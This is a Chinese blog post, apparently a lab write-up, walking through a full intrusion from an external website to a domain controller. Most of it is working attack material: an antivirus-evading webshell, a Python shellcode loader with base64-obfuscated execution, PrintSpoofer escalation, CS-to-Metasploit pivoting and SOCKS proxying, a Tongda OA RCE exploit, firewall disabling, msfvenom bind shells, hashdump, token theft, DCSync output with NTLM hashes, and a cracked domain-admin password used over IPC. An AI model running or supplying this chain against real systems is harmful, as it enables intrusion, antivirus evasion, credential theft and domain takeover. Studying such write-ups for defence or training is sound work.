从外网到多层内网

外网渗透

file 这里通过找回密码 有个漏洞 填好账号之后 禁用js 然后一直点下一步会直接返回密码 file

绕过安全狗上穿asp木马

利用项目https://github.com/pureqh/webshell 生成过狗webshell

将木马文件打包成zip通过上传模板上传

file

因为普通版的菜刀会被安全狗拦截,要使用过狗菜刀 https://github.com/mbox0369/caidao_newest 连接木马http://www.moonlab.com/sitefiles/sitetemplates/2/1.aspx 密码zero file

内网渗透

信息收集

whoami查看权限 iis用户 file systeminfo 查看系统版本 以及补丁信息 file Windows Server 2016 服务器

tasklist查看进程 file 将进程放入零组平台查看存在的杀软 file 发现存在安全狗以及Microsoft Security Essentials(微软自带杀软) arp -a查看是否有其他网段 file 存在10.10.1.0/24网段

提权

利用https://github.com/itm4n/PrintSpoofer提权 执行 printSpoofer.exe -i -c whoami #返回system权限 利用cs生成shellcode然后用python做免杀

import ctypes
import base64
#shellcode 加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
    handle =ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
if __name__ == "__main__":
    shellCodeLoad(bytearray(b'\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x32\x38\x00\x12\x34\x56\x78'))
PyInstaller.py --noconsole --icon cs\icon.ico --onefile cs\cs.py

OA服务器渗透

查看是否存在域 net user /domain file ipconfig 查看ip file system查看系统信息 file 所处的是一个工作组 使用socks代理出来 然后使用sockescap64进行代理 使用ladon工具进行内网扫描 这里一直不成功 尝试将cs派生给msf

cs上新建监听 选择Foreign HTTP的监听 ip和端口和msf一样 name为msf

msf中开始监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xxxxxx   (本机ip)
set lport xxxx
exploit

在cs控制台输入spawn msf 获取到shell之后查看路由

run get_local_subnets

file 添加路由

run arp_scanner -r 10.10.1.0/24

然后利用arp_scan扫描内网主机

run arp_scanner -r 10.10.1.0/24

发现目标10.10.1.130 然后创建一个socket代理 将会话放在后台

msf>background
msf>use auxiliary/server/socks_proxy
msf>set Version 4a
msf>set srvhost 127.0.0.1

file 然后编辑代理

vi /etc/proxychains4.conf
添加socket  127.0.0.1 1080

使用nnmap扫描内网

proxychains4 nmap -sT -Pn -p 80,443,3306,3389  10.10.1.130

file 使用proxychains4 firefox打开浏览器 file

通达OA 使用rce脚本 https://github.com/wikiZ/tongda-exp-poc

proxychains4 python3 tongda\ exp.py -H http://10.10.1.130 -file-shell

file 获得一个webshell http://10.10.1.130/ispirit/interface/xiaoma.php 使用蚁剑连接 设置蚁剑的代理 ip写kali的ip(这里需要改一下msf中添加代理的本地ip为0.0.0.0或者是192.168.0.128) file

file

关闭防火墙

Netsh advfirewall set allprofiles state off

使用msf生成一个正向shll

msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe 
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll 
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe

开启正向监听

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 5555
set rhost 10.10.1.130

这里msf生成的马运行就被杀 关了360也不行 (目前没有免杀的东西) 用cs生成的木马连接后没有被杀 cs创建正向监听 file 生成后门 file 上传到oa系统运行木马 然后在web服务器的beacon中执行connect 10.10.1.130 file

很神奇 之前msf的又可以了 下边用msf操作

域控渗透

oa系统信息收集

查看系统信息 file 通过ps查看进程 file 进程转移一下

migrate  5328

file

通过hashdump抓到hash密码

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

定位域控

meterpreter > run post/windows/gather/enum_domain

file

查看登陆的用户

meterpreter > run post/windows/gather/enum_logged_on_users

sid做票据传递攻击会使用到,所以我们先搜集到。 file 查看组信息

eterpreter > run post/windows/gather/enum_ad_groups

查看域内主机

meterpreter > run post/windows/gather/enum_ad_computers

file

接下来尝试进行令牌窃取,因为有域控进程:

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token 'ATTACK\administrator'

file

成功拿到域管的权限(令牌窃取并不等于提权)。 file 因为我们到目标是拿到域控制器这台主机,因此我们还需要进行更深的内网渗透,所以我再做一层代理:获取网段 添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 10.10.10.0/24

我们加载一下MSF自带的kiwi:

meterpreter > load kiwi

然后窃取一个域管的权限令牌:

steal_token 3856

拿到域管的 ntlm-hash、sid: file

拿到了 krbtgt 的 ntlm-hash 和 sid:这个用户用于做黄金票据用的

meterpreter > dcsync_ntlm krbtgt
[+] Account   : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash   : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID       : S-1-5-21-4052809752-717748265-227546684-502
[+] RID       : 502

查询域管的NTLM HASH

meterpreter > dcsync_ntlm administrator
[+] Account   : administrator
[+] NTLM Hash : 3f37aede0b8a007bbb1d26ba03f65595
[+] LM Hash   : 4dfb75db6291ede4e23bfacd744faf7a
[+] SID       : S-1-5-21-4052809752-717748265-227546684-500
[+] RID       : 500

将NTLM HASH放入https://www.cmd5.com/ 选择NTLM解密 得到密码!@#QWEasd123 通过ipc和域控建立连接

net use \\10.10.10.165 /u:attack\administrator !@#QWEasd123
dir \\10.10.10.165\c$ #查看目录
dir \\10.10.10.165\c$\Users\Administrator
type \\10.10.10.165\c$users\administrator\flag.txt

ipc如果出现问题 可以通过net use查看已经连接的 然后 删除

net use \\ip\ipc$ /del

file

也可以通过cs的mimikatz抓到明文密码 file


从外网到多层内网
http://example.com/2021/08/27/OldBlog/从外网打入多防护内网/
作者
Autumn
发布于
2021年8月27日
许可协议